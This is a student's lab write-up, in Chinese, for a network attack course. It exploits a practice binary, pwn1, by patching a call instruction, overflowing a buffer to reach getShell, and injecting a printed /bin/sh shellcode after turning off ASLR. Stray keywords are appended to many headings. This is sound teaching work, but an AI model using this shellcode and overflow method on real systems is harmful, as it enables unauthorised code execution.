2017-2018-2 20155333 《網絡對抗技術》 Exp1 PC平臺逆向破解
一、 逆向及Bof基礎實踐說明linux
1.1 實踐目標shell
本次實踐的對象是一個名爲pwn1的linux可執行文件。安全
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。網絡
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。dom
1.2 實踐內容函數
- 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
- 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
- 注入一個本身製做的shellcode並運行這段shellcode。
1.3 實踐思路學習
- 運行本來不可訪問的代碼片斷
- 強行修改程序執行流
- 以及注入運行任意代碼
二、 基礎知識spa
2.1 要求命令行
- 熟悉Linux基本操做
- 能看懂經常使用指令,如管道(|),輸入、輸出重定向(>)等。
- 理解Bof的原理。
- 會使用gdb,vi。
- 指令、參數
2.2 經常使用的Linux基本操做3d
objdump -d
:從objfile中反彙編那些特定指令機器碼的section。
perl -e
:後面緊跟單引號括起來的字符串,表示在命令行要執行的命令。
xxd
:爲給定的標準輸入或者文件作一次十六進制的輸出,它也能夠將十六進制輸出轉換爲原來的二進制格式。
ps -ef
:顯示全部進程,並顯示每一個進程的UID,PPIP,C與STIME欄位。
|
:管道,將前者的輸出做爲後者的輸入。
>
:輸入輸出重定向符,將前者輸出的內容輸入到後者中。
2.3 經常使用匯編指令
objdump -d XX
:反彙編
:%!xxd
:進入十六進制編輯模式
/
:查詢
gdb XXX
:調試
%!xxd -r
:切回原模式
實踐
實踐一 直接修改程序機器指令,改變程序執行流程

- getShell和foo地址相差(91-7d)=0x21,所以欲call 8048491
修改成call 804847d
,須要將d7修改成c3(d7-21)
- 修改過程:
- vi打開編輯文件(此時爲二進制格式);
- 按ESC鍵,輸入
:%!xxd
將文件轉換爲十六進制編輯模式;
- 輸入
/e8 d7
找到修改位置,i進入編輯模式修改d7爲c3;
- 輸入
:%!xxd -r
轉回二進制模式;
- 輸入
:wq
保存退出。

- 再次進行反彙編的結果以下:


實踐二 經過構造輸入參數,形成BOF攻擊,改變程序執行流
- 反彙編,瞭解程序的基本功能
- 確認輸入字符串哪幾個字符會覆蓋到返回地址


- 分別輸入1111111132222222333333334444444455555555和1111111132222222333333334444444412345678看eip寄存器的值,對比可知佔用返回地址的壓棧數據爲4321
- 將這些數換成getshell的內存地址(\x7d\x84\x04\x08\x0a),經過perl生成在ASCII界面所沒法輸入的16進制值,用(cat input; cat) | ./xxx來進入程序,運行結果以下:

實踐三 注入Shellcode並執行
- 準備工做:若堆棧內存區設置爲不可執行。這樣即便是注入的shellcode到堆棧上,也執行不了。使用execstack -s XXX設置堆棧可執行,經過execstack -q XXX查看堆棧是否可執行。使用more /proc/sys/kernel/randomize_va_space命令查看是否開啓地址隨機化(讓OS每次都用不一樣的地址加載應用),有如下三種狀況
- 0表示關閉進程地址空間隨機化。
- 1表示將mmap的基址,stack和vdso頁面隨機化。
- 2表示在1的基礎上增長棧(heap)的隨機化。
使用echo "0" > /proc/sys/kernel/randomize_va_space命令關閉進程地址空間隨機化,並再次使用more /proc/sys/kernel/randomize_va_space驗證。
- Linux下有兩種基本構造攻擊buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr(nop一爲是了填充,二是做爲「着陸區/滑行區」,若猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode)。
- 由於retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面。
簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊
- 構造一個shellcode,輸入攻擊命令(cat input_shellcode;cat) | ./XXX,並找到pwn1的進程號
- 進行gdb調試,經過設置斷點,來查看注入buf的內存地址
結構爲:anything+retaddr+nops+shellcode。看到01020304了,就是返回地址的位置。shellcode就挨着,因此地址是 0xffffd280



- 修改input_shellcode爲\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x60\xd2\xff\xff\x00,如圖所示,再次攻擊後成功!

問題與總結
問題:什麼是漏洞?漏洞有什麼危害?
漏洞就是正常功能的硬件、軟件或者策略中的缺陷。黑客利用漏洞來破壞計算機安全,達到其餘對正常使用者不利的目的。
實驗收穫與感想
參考老師的指導教程完成了本次實驗,實驗過程當中不只有複習到以前學過的Linux和彙編的相關知識,還學習了網絡對抗的一些基本知識,算得上是小有收穫了。